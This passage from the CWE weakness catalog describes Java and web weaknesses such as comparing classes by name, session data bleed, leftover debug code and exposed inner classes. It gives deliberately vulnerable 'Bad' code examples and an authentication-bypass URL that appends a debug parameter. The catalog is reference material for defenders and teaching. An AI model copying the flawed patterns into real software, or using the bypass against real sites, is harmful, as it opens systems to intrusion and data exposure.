Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If a product relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

Demonstrative Examples

Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

Example Language: Java *(Bad)*

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
  // Do something assuming you trust inputClass
  // ...
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(Good)*

```
if (inputClass.getClass() == TrustedClass.class) {
  // Do something assuming you trust inputClass
  // ...
}
```

Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

Example Language: Java *(Bad)*

```
public class TrustedClass {
  ...
```

```
    @Override
    public boolean equals(Object obj) {
        boolean isEquals = false;
        // first check to see if the object is of the same class
        if (obj.getClass().getName().equals(this.getClass().getName())) {
            // then compare object fields
            ...
            if (...) {
                isEquals = true;
            }
        }
        return isEquals;
    }
    ...
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(Good)*

```
public boolean equals(Object obj) {
    ...
    // first check to see if the object is of the same class
    if (obj.getClass() == this.getClass()) {
        ...
    }
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2385
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2467
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2544

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Comparing Classes by Name
CLASP			Comparing classes by name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ09-J		Compare classes and not class names
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.2024-11-17.

CWE-487: Reliance on Package-level Scope

Weakness ID : 487
Structure : Simple
Abstraction : Base

Description

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Any data in a Java package can be accessed outside of the Java framework if the package is distributed.*	
Integrity	Modify Application Data *The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
package math;
public class Lebesgue implements Integration{
   public final Static String youAreHidingThisFunction(functionToIntegrate){
      return ...;
   }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2385
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2424
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Relying on package-level scope
The CERT Oracle Secure Coding Standard for Java (2011)	MET04-J		Do not increase the accessibility of overridden or hidden methods

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.2024-11-17.

CWE-488: Exposure of Data Element to Wrong Session

Weakness ID : 488
Structure : Simple
Abstraction : Base

Description

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478
CanFollow	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1296

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2453

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2500

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

Demonstrative Examples

Example 1:

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

Example Language: Java *(Bad)*

```
public class GuestBook extends HttpServlet {
  String name;
  protected void doPost (HttpServletRequest req, HttpServletResponse res) {
    name = req.getParameter("name");
    ...
    out.println(name + ", thanks for visiting!");
  }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	2401
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	2424
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Data Leaking Between Users

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-489: Active Debug Code

Weakness ID : 489

Structure : Simple
Abstraction : Base

Description

The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.

Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the product. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1558
ParentOf	V	11	ASP.NET Misconfiguration: Creating Debug Binary	9
CanPrecede	B	215	Insertion of Sensitive Information Into Debugging Code	558

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Alternate Terms

Leftover debug code : This term originates from Seven Pernicious Kingdoms

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Other	Bypass Protection Mechanism Read Application Data Gain Privileges or Assume Identity Varies by Context *The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and*	

Scope	Impact	Likelihood
	server, as well as confidential information that either of these access.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Build and Compilation

Phase: Distribution

Remove debug code before deploying the application.

Demonstrative Examples

Example 1:

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

Example Language: HTML *(Bad)*

```
<FORM ACTION="/authenticate_login.cgi">
  <INPUT TYPE=TEXT name=username>
  <INPUT TYPE=PASSWORD name=password>
  <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

Example Language: *(Informative)*

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

Example Language: *(Attack)*

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2529
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Notes

Other

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Leftover Debug Code
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP28		Unexpected access points

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Non-Production Interfaces
661	Root/Jailbreak Detection Evasion via Debugging

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID : 491
Structure : Simple
Abstraction : Variant

Description

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Varies by Context	

Potential Mitigations

Phase: Implementation

Make the cloneable() method final.

Demonstrative Examples

Example 1:

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

Example Language: Java *(Bad)*

```java
public class BankAccount implements Cloneable{
  public Object clone(String accountnumber) throws
  CloneNotSupportedException
  {
    Object returnMe = new BankAccount(account number);
    ...
  }
}
```

Example 2:

In the example below, a clone() method is defined without being declared final.

Example Language: Java *(Bad)*

```java
protected Object clone() throws CloneNotSupportedException {
  ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2385
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2467
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Object Hijack
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ07-J		Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-453]OWASP. "OWASP , Attack Category : Mobile code: object hijack". < http://www.owasp.org/index.php/Mobile_code:_object_hijack >.

CWE-492: Use of Inner Class Containing Sensitive Data

Weakness ID : 492
Structure : Simple
Abstraction : Variant

Description

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

Extended Description

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *"Inner Classes" data confidentiality aspects can often be overcome.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Phase: Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly makes use of an inner class.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
  private final class urlHelper {
    ...
  }
  ...
}
```

Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Example Language: Java *(Bad)*

```
public class OuterClass {
  // private member variables of OuterClass
  private String memberOne;
  private String memberTwo;
  // constructor of OuterClass
  public OuterClass(String varOne, String varTwo) {
    this.memberOne = varOne;
    this.memberTwo = varTwo;
  }
  // InnerClass is a member inner class of OuterClass
  private class InnerClass {
    private String innerMemberOne;
    public InnerClass(String innerVarOne) {
      this.innerMemberOne = innerVarOne;
    }
    public String concat(String separator) {
      // InnerClass has access to private member variables of OuterClass
      System.out.println("Value of memberOne is: " + memberOne);
      return OuterClass.this.memberTwo + separator + this.innerMemberOne;
    }
  }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

Example Language: Java *(Good)*

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private static String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a static inner class of OuterClass
    private static class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass only has access to static member variables of OuterClass
            return memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

Example 3:

In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

Example Language: Java *(Bad)*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(double rate)
  {
    ActionListener adder = new InterestAdder(rate);
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
  }
  // InterestAdder is an inner class of BankAccount class
  // that implements the ActionListener interface
  private class InterestAdder implements ActionListener
  {
    private double rate;
    public InterestAdder(double aRate)
    {
      this.rate = aRate;
    }
    public void actionPerformed(ActionEvent event)
    {
      // update interest
      double interest = BankAccount.this.balance * rate / 100;
      BankAccount.this.balance += interest;
    }
  }
}
```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Example Language: Java *(Good)*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(final double rate)
  {
    // InterestAdder is a local inner class
    // that implements the ActionListener interface
    class InterestAdder implements ActionListener
    {
      public void actionPerformed(ActionEvent event)
      {
        // update interest
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
      }
    }
    ActionListener adder = new InterestAdder();
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
  }
}
```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Example Language: Java *(Good)*

```
public class BankAccount {
  // private member variables of BankAccount class
  private String accountOwnerName;
  private String accountOwnerSSN;
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(final double rate)
  {
    // anonymous inner class that implements the ActionListener interface
    ActionListener adder = new ActionListener()
    {
      public void actionPerformed(ActionEvent event)
      {
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
      }
```

CWE-492: Use of Inner Class Containing Sensitive Data

```
        };
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}
```

Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Example Language: *(Bad)*

```
public class UrlToolApplet extends Applet {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    // and creates button listener object
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        ActionListener submitButtonListener = new SubmitButtonListener();
        submitButton.addActionListener(submitButtonListener);
    }
    // button listener inner class for UrlToolApplet class
    private class SubmitButtonListener implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            if (evt.getSource() == submitButton) {
                String urlString = enterUrlTextField.getText();
                URL url = null;
                try {
                    url = new URL(urlString);
                } catch (MalformedURLException e) {
                    System.err.println("Malformed URL: " + urlString);
                }
                if (url != null) {
                    getAppletContext().showDocument(url);
                }
            }
        }
    }
}
```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

Example Language: Java *(Good)*

```
public class UrlToolApplet extends Applet implements ActionListener {
    // private member variables for applet components
```

```
   private Label enterUrlLabel;
   private TextField enterUrlTextField;
   private Button submitButton;
   // init method that adds components to applet
   public void init() {
      setLayout(new FlowLayout());
      enterUrlLabel = new Label("Enter URL: ");
      enterUrlTextField = new TextField("", 20);
      submitButton = new Button("Submit");
      add(enterUrlLabel);
      add(enterUrlTextField);
      add(submitButton);
      submitButton.addActionListener(this);
   }
   // implementation of actionPerformed method of ActionListener interface
   public void actionPerformed(ActionEvent evt) {
      if (evt.getSource() == submitButton) {
         String urlString = enterUrlTextField.getText();
         URL url = null;
         try {
            url = new URL(urlString);
         } catch (MalformedURLException e) {
            System.err.println("Malformed URL: " + urlString);
         }
         if (url != null) {
            getAppletContext().showDocument(url);
         }
      }
   }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2385
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2424
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2467
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Notes

Other

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Use of Inner Class

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Publicizing of private data when using inner classes
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ08-J		Do not expose private members of an outer class from within a nested class

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID : 493
Structure : Simple
Abstraction : Variant

Description

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

Extended Description

